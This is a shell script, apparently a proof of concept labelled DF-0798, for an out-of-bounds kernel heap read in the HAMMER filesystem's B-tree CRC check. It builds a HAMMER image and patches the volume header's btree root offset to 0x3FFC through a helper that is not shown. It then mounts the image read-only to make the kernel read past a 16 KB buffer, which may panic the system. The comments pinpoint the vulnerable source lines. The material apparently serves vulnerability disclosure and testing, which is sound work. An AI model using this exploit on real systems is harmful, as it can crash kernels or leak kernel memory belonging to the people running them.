DF-0798 / run.sh
#!/bin/sh # DF-0798 PoC: OOB heap read in HAMMER B-Tree node CRC validation. # # Threat model: an administrator is tricked into mounting an attacker- # crafted HAMMER filesystem image. The crafted volume header's # vol0_btree_root has its low 14 bits set to a value greater than # HAMMER_BUFSIZE - sizeof(hammer_node_ondisk) = 16384 - 4096 = 12288. # # When the kernel loads the btree root on the first lookup, it executes # at sys/vfs/hammer/hammer_ondisk.c:1306: # # node->ondisk = (void *)((char *)buffer->ondisk + # (node->node_offset & HAMMER_BUFMASK)); # # without bounds-checking the offset. Then at line 1315 it calls # hammer_crc_test_btree(), which at sys/vfs/hammer/hammer_crc.h:227 does: # # hammer_datacrc(version, &node->crc + 1, HAMMER_BTREE_CRCSIZE); # # reading 4092 bytes from offset 4 of node->ondisk. With offset # 0x3FFC, this reads kernel memory at buffer->ondisk + [0x4000, 0x4FFC) # -- i.e. up to 4092 bytes entirely PAST the 16384-byte buffer. # # Observable effect on the default GENERIC kernel: # * Most often: silent OOB read of adjacent kernel heap/buffer cache, # CRC mismatch, mount fails with EIO (no kernel message, since # hdkprintf is debug-level only). # * Possible: panic if the OOB read crosses an unmapped page. # # This script MUST be run as root (mounting any filesystem requires it; # this matches the threat model of a malicious fs image being mounted). set -u IMG=${DF0798_IMG:-/build/df0798.img} DEV=${DF0798_DEV:-vn0} MNT=${DF0798_MNT:-/mnt/df0798} SIZE_MB=${DF0798_SIZE_MB:-4096} # Cleanup any leftovers umount $MNT 2>/dev/null || true vnconfig -u $DEV 2>/dev/null || true rm -f $IMG echo "==== [1] create a valid 4 GB HAMMER image ====" dd if=/dev/zero of=$IMG bs=1m count=0 seek=$SIZE_MB 2>&1 | tail -1 vnconfig $DEV $IMG newfs_hammer -f -L df0798 /dev/$DEV 2>&1 | tail -3 echo "==== [2] mount RW briefly so the btree root is allocated ====" mkdir -p $MNT mount_hammer /dev/$DEV $MNT || { echo "RW mount failed"; exit 1; } echo "hello world" > $MNT/file.txt mkdir $MNT/subdir echo "hello again" > $MNT/subdir/inner.txt sync umount $MNT echo "rw mount populated and unmounted" echo "==== [3] snapshot btree_root value before patch ====" dd if=$IMG bs=1 skip=240 count=8 2>/dev/null | hexdump -C | head -1 echo "==== [4] patch vol0_btree_root low 14 bits -> 0x3FFC ====" HERE=$(dirname "$0") if [ ! -x "$HERE/patch_btree_root" ]; then echo "patch_btree_root helper missing; build it first" >&2 exit 1 fi "$HERE/patch_btree_root" "$IMG" echo "patched image; btree_root now:" dd if=$IMG bs=1 skip=240 count=8 2>/dev/null | hexdump -C | head -1 echo "==== [5] clear dmesg tail marker, then attempt RO mount ====" dmesg | tail -3 > /tmp/df0798_dmesg_before mount_hammer -o ro /dev/$DEV $MNT 2>&1 RC=$? echo "mount_hammer rc=$RC" echo "==== [6] try to trigger btree traversal ====" ls -la $MNT 2>&1 | head -5 echo "ls rc=$?" echo "==== [7] any kernel messages from the path? ====" dmesg | tail -30 | grep -iE "hammer|crc|panic|trap|fault" || true echo "==== [8] cleanup ====" umount $MNT 2>/dev/null || true vnconfig -u $DEV 2>/dev/null || true echo "DONE" |